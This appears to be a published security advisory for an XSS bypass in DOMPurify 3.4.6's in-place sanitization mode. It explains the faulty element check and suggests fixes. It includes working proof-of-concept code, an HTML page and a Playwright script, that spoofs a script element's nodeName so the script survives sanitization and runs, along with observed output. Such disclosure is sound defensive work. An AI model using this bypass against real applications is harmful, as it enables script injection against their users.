PT-2026-50852 · Npm · Dompurify
Published
2026-06-15
·
Updated
2026-06-15
None
No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.
Summary
When
DOMPurify.sanitize(root, { IN PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.This affects current
3.4.6. The recent IN PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.Affected
- DOMPurify
3.4.6 - Any caller that does
DOMPurify.sanitize(node, { IN PLACE: true })on attacker-supplied live DOM nodes - Verified attacker-controlled node sources:
- same-origin
iframe→ live node passed by reference - same-origin
window.open()popup → live node passed by reference - same-origin foreign node adopted into the host document via
document.adoptNode(node)and then sanitized in-place
Not affected:
- String-input
DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths
[A] —
sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:ts
const sanitizeElements = function (currentNode: any): boolean {
...
if ( isClobbered(currentNode)) {
forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID TAGS[tagName] ||
(!(...) && !ALLOWED TAGS[tagName])
) {
...
forceRemove(currentNode);
return true;
}
...
};For non-
form nodes, isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.[B] —
isClobbered is form-specific:ts
const isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};The hardening is intentionally scoped to
form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.Why the bypass works
The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into
DOMPurify's IN PLACE pipeline.If the attacker controls a same-origin subcontext (
iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN PLACE: true }) as its final sanitization step.For the verified primitive below:
- the real child node is
<script> - its script text is attacker-controlled
- the observable
nodeNameis attacker-controlled and made to appear as"DIV" sanitizeElementstherefore classifies the real<script>child as an allowed element- the real
<script>survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing
document.adoptNode(node)followed byIN PLACE
It does not survive:
importNodecloneNode
because those paths materialize a fresh node and discard the hostile object semantics.
Proof of concept
(1) Minimal — runnable in a single browser context
html
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', ' blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window. pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window. pwned = 1</script></div>
window. pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window. pwned === 1); // true
</script>
</body></html>(2) End-to-end — Playwright
js
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window. hits = [];
const foreign = window.open('about:blank', ' blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top. hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window. hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();Observed:
- Chromium / Firefox / WebKit
js
{
version: '3.4.6',
output: '<div><script>top. hits.push("script-fired")</script></div>',
fired: true
}Impact
Direct
XSS via retained real
<script> nodes inside attacker-supplied live DOM objects.Any consumer that uses
DOMPurify.sanitize(node, { IN PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.The typical pattern is:
js
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN PLACE: true });
container.appendChild(foreignNode);If
foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on
IN PLACEas the final sanitization step - Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
Suggested fix
Two minimal-risk options:
- Stop trusting instance-visible
nodeNamefor the element decision inIN PLACE.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
ts
const tagName = transformCaseFunc(currentNode.nodeName);on hostile live objects.
- Generalize hostile-node detection beyond
form.
The current
isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:nodeNameattributeschildNodes
Either approach would close the verified primitive above.
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Dompurify